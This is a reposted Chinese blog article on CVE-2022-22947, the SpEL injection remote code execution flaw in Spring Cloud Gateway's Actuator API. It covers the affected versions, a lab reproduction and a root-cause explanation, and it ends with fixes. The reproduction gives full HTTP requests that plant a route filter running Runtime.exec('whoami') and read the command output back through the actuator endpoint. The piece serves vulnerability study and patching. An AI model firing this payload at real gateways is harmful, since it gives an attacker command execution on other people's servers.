Spring Cloud Gateway RCE

这篇具有很好参考价值的文章主要介绍了Spring Cloud Gateway RCE。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Spring Cloud Gateway RCE

目录
  • Spring Cloud Gateway RCE
    • 一、基本介绍
    • 二、漏洞复现
    • 三、原理分析
    • 四、修复方法

一、基本介绍

CVE编号:CVE-2022-22947

​Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

Spring Cloud Gateway:

是Spring Cloud微服务的一个网关组件。

1、路由(Route)

2、断言(Predicate)

3、过滤器(Filter)

Spring Boot Actuator:

是Spring Boot框架中的一个监控组件。

Gateway配置可以使用两种方式:

1、通过yml或者properties固定配置

2、通过actuator接口动态配置

Actuator操作Gateway接口列表:

id HTTP Method 描述
globalfilters GET 返回全局Filter列表
routefilters GET 每个路由的Filter
routes GET 路由列表
routes/[id] GET 指定路由的信息
routes/[id] POST 创建路由
refresh POST 刷新路由缓存
routes/[id] DELETE 删除路由

二、漏洞复现

版本要求:

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

过程:

1、启动Spring Cloud Gateway服务

2、添加过滤器(POST)

POST /actuator/gateway/routes/hacker HTTP/1.1
Host: 192.168.142.133:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 331
Content-Type: application/json

{
  "id": "hacker",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

3、刷新过滤器(POST)

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.142.133:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

4、访问过滤器ID(GET)

http://192.168.142.133:8080/actuator/gateway/routes/hacker

Result中有命令执行返回的信息。

三、原理分析

1、开启Acutator,可以通过接口列出路由(包括过滤器),如:actuator/gateway/routes

2、可以通过/actuator/gateway/routes/{id}创建路由

3、通过/actuator/gateway/reflesh刷新路由

4、当路由带有恶意的Filter,里面的spEL表达式会被执行

个人理解:

Spring Cloud GatewayRCE漏洞主要是使用了Actuator接口对Gateway动态配置,而且Actuator接口可以被其他人访问,可以创建Gateway中的路由规则,攻击者对Filter中写入恶意spEL表达式,服务器会去解析spEL表达式,造成命令执行。

四、修复方法

1、更新升级Spring Cloud Gateway版本

2、在不考虑影响业务的情况下禁用actuator接口

management.endpoint.gateway.enable=false文章来源地址https://www.toymoban.com/news/detail-428463.html

到了这里,关于Spring Cloud Gateway RCE的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Spring Cloud Gateway学习

    传统的单体架构只有一个服务开放给客户端调用,但是在微服务架构体系中是将一个系统拆分成多个微服务,那么作为客户端如何去调用这些微服务呢?如果没有网关的存在,就只能在本地记录每个微服务的调用地址。 无网关的微服务架构存在的问题: 客户端多次请求不同

    2024年02月07日
    浏览(61)
  • 细说 Spring Cloud Gateway

    在微服务架构中,API 网关是一个非常重要的组件,它可以帮助我们实现服务的路由、负载均衡、认证授权等功能。Spring Cloud Gateway 是 Spring Cloud 官方推出的一个基于 Spring 5、Spring Boot 2 和 Project Reactor 的 API 网关实现。本文将介绍 Spring Cloud Gateway 的基本概念、核心组件以及如何

    2024年02月14日
    浏览(22)
  • 浅谈Spring Cloud Gateway

    网关:用户和微服务的桥梁 网关的核心是一组过滤器,按照先后顺序执行过滤操作。 Spring Cloud Gateway是基于webFlux框架实现,而webFlux框架底层则使用了高性能的Reactor模式通信框架的Netty Spring Cloud Gateway是Spring Cloud生态系统中的一个API网关,它基于Spring Framework 5,Spring Boot 2和P

    2024年02月11日
    浏览(32)
  • 聊聊Spring Cloud Gateway

    网关概述 整体来看,网关有点类似于门面,所有的外部请求都会先经过网关这一层。 网关不仅只是做一个请求的转发及服务的整合,有了网关这个统一的入口之后,它还能提供以下功能。 针对所有请求进行统一鉴权、限流、熔断、日志。 协议转化。针对后端多种不同的协议

    2024年02月07日
    浏览(33)
  • Spring Cloud GateWay简介

    网关是一种充当转换重任的计算机系统或设备,使用在不同的通信协议、数据格式或语言,甚至网关是一种充当转换重任的计算机系统或设备,使用在不同的通信协议、数据格式或语言,甚至体系结构完全不同的两种系统之间进行数据传输. 网关具备转发, 路由和数据过滤的功

    2024年02月05日
    浏览(40)
  • Spring Cloud Gateway:配置

    Spring Cloud Gateway提供了多种配置选项,以便您根据需要自定义和调整其行为。以下是一些常见的配置选项: 路由配置:您可以使用 spring.cloud.gateway.routes 属性配置网关的路由规则。通过定义路由规则,您可以将传入请求映射到相应的后端服务。 负载均衡配置:您可以配置网关

    2024年02月13日
    浏览(28)
  • Spring Cloud Gateway 监控、多网关实例路由共享 | Spring Cloud 18

    Actuator 是 Spring Boot 提供的用来对应用系统进行监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。 Actuator 的核心是端点 Endpoint 。 Endpoint 可以让我们监视应用程序并与其交互。 Spring Boot 包含许多内置端点,并允许您添加自己的端

    2024年02月09日
    浏览(49)
  • Spring Boot 中的 Spring Cloud Gateway

    Spring Cloud Gateway 是一个基于 Spring Boot 的网关框架,它提供了一种统一的入口,将所有的请求路由到不同的后端服务中。Spring Cloud Gateway 采用了 Reactive 编程模型,可以处理大量并发请求,同时还具备负载均衡、熔断、限流等功能。本文将介绍 Spring Cloud Gateway 的原理和使用方法

    2024年02月12日
    浏览(36)
  • Spring Cloud Gateway 中文文档

    官方文档 该项目提供了一个建立在Spring Ecosystem之上的API网关,包括:Spring 5,Spring Boot 2和Project Reactor。 Spring Cloud Gateway旨在提供一种简单而有效的方式来对API进行路由,并为他们提供切面,例如:安全性,监控/指标 和弹性等。 要在项目中引入 Spring Cloud Gateway ,需要在pom

    2024年02月22日
    浏览(29)
  • Spring Cloud Gateway 实现原理

    Spring Cloud Gateway是Spring Cloud生态系统中的一个组件,用于构建基于Spring Boot的微服务架构中的网关服务。它的主要目的是提供一种灵活的方式来路由、过滤和转换HTTP请求,从而允许您构建强大、高性能的微服务应用程序。 以下是Spring Cloud Gateway的一些核心原理和功能: 路由(

    2024年02月10日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包